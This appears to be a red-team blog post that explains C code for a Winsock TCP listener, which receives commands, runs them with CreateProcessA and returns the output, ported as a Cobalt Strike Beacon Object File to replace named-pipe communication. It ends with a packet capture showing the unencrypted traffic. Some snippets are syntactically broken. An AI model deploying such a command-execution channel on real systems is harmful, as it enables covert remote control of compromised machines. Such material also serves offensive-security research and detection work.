877-864-4204

Winsock is an API (Application Programming Interface) that provides a standardized interface for network programming in the Windows operating system. It enables applications to establish network connections and send and receive data over various protocols such as TCP/IP, UDP, and more. The flexibility and wide adoption of Winsock makes it an attractive choice for malware authors seeking to establish covert communication channels.

In this article, we will explore a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. As the code is ported to BOF, it replaces the default Named Pipes that Cobalt Strike uses with Winsock.

Initializing the Winsock server

// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsaData) != 0;

This code initializes the Winsock library by calling the WSAStartup function.

// Create socket
serverSocket = socket(AF_INET, SOCK_STREAM, 0);

This code creates a socket using the socket function. The socket function creates an endpoint for communication and returns a socket descriptor that represents the endpoint. 

// Bind socket to an address and port
serverAddress.sin_family = AF_INET;
serverAddress.sin_addr.s_addr = INADDR_ANY;
serverAddress.sin_port = htons(SERVER_PORT);

These lines set up the server’s address and port information and bind the socket to this address. The code assigns the address family (AF_INET for IPv4) to serverAddress.sin_family. INADDR_ANY is used to bind the socket to all available network interfaces on the server machine, allowing it to accept connections from any IP address. The port number is set to SERVER_PORT using serverAddress.sin_port. The htons function is used to convert the port number to network byte order.

The bind function is then called to associate the socket with the server address and port. It takes the socket descriptor (serverSocket), a pointer to the server address structure ((struct sockaddr*)&serverAddress), and the size of the server address structure (sizeof(serverAddress)).

bind(serverSocket, (struct sockaddr*)&serverAddress, sizeof(serverAddress);

// Listen for incoming connections
listen(serverSocket, SOMAXCONN);

The listen function puts the server socket into a passive listening state. The serverSocket parameter is the socket descriptor that was previously created and bound. SOMAXCONN represents the maximum number of clients that can wait to be accepted by the server.

Retrieving the command

    // Receive message from the client
    while (1) {
        bytesRead = recv(clientSocket, buffer + totalBytesRead, MAX_BUFFER_SIZE - totalBytesRead, 0);
        if (bytesRead <= 0) {
            // Error or connection closed
            break;
        }

        totalBytesRead += bytesRead;

        // Check if the entire message has been received
        if (buffer[totalBytesRead - 1] == '\0') {
            break;
        }
    }

The code enters a while loop that continues indefinitely until the entire message is received or an error occurs. The recv function is called to receive data from the client socket. It reads data into the buffer starting from the current position buffer + totalBytesRead. It specifies the maximum number of bytes to read as MAX_BUFFER_SIZE - totalBytesRead.

The purpose of this code is to read a message sent by the client in chunks until the entire message is received. It allows for the reception of messages that may be larger than the buffer size (MAX_BUFFER_SIZE) by reading the data in multiple iterations.

Executing commands

// Create a pipe for the child process's STDOUT
CreatePipe(&hReadPipe, &hWritePipe, &saAttr, 0);
////Execute the command
CreateProcessA(NULL, (LPSTR)command, NULL, NULL, TRUE, 0, NULL, NULL, &siStartInfo, &piProcInfo);
//Read the command output from the end of the pipe
ReadFile(hReadPipe, szOutput, MAX_BUFFER_SIZE - 1, &dwRead, NULL);

The CreateProcessA function is used to create a new process and allows you to specify the command-line parameters for the process. The first parameter NULL specifies that the new process will inherit the environment variables of the calling process. The second parameter (LPSTR)command specifies the command-line string that determines the executable and its arguments.

Once executed, ReadFile is used to parse the output at the end of the pipe.

Sending the output back

SOCKET clientSocket = *(SOCKET*)clientSocketPtr;
send(clientSocket, response, strlen(response), 0) == SOCKET_ERROR)

This line extracts the socket descriptor from the clientSocketPtr pointer and assigns it to the variable clientSocket. The clientSocketPtr is a void pointer that points to the memory location where the socket descriptor is stored. By using type casting (SOCKET*), the code interprets the pointer value as a pointer to a SOCKET data type and dereferences it to obtain the actual socket descriptor value. This socket descriptor represents the connection between the server and the client.

The == SOCKET_ERROR part is a comparison that checks if the return value of the send function is equal to SOCKET_ERROR. This comparison is commonly used to check if the send operation encountered an error. If the comparison is true, it indicates that there was an error in sending the data.

Network analysis

In our public repository we were able to replace the default Named Pipe communication that Cobalt Strike uses with Winsocket. After loading the CNA script, using “socky” command and the first argument, which is the command to be executed, we are able to send and receive the desired output via Winsocket:

End-to-end winsock communication via Cobalt Strike

For each command sent, it will create 11 packets for the end-to-end communication. In this case we filtered the results to display only the TCP Port 8888 (the port we are using for the communication):

TCP Packets on Port 8888

Analyzing the packets easily leads to the commands and the results (as no encryption was used).

Command sent over winsock
Response sent back over winsock

Conclusion

In conclusion, this article has provided an overview of Winsock, an API that facilitates network programming in the Windows operating system.

Throughout the article, we have examined a sample code that demonstrates a basic implementation of end-to-end communication using the Winsock protocol. By porting the code to BOF (Beacon Object Files), it replaces the default Named Pipes utilized by Cobalt Strike with Winsock.

The whole project can be found in our repository.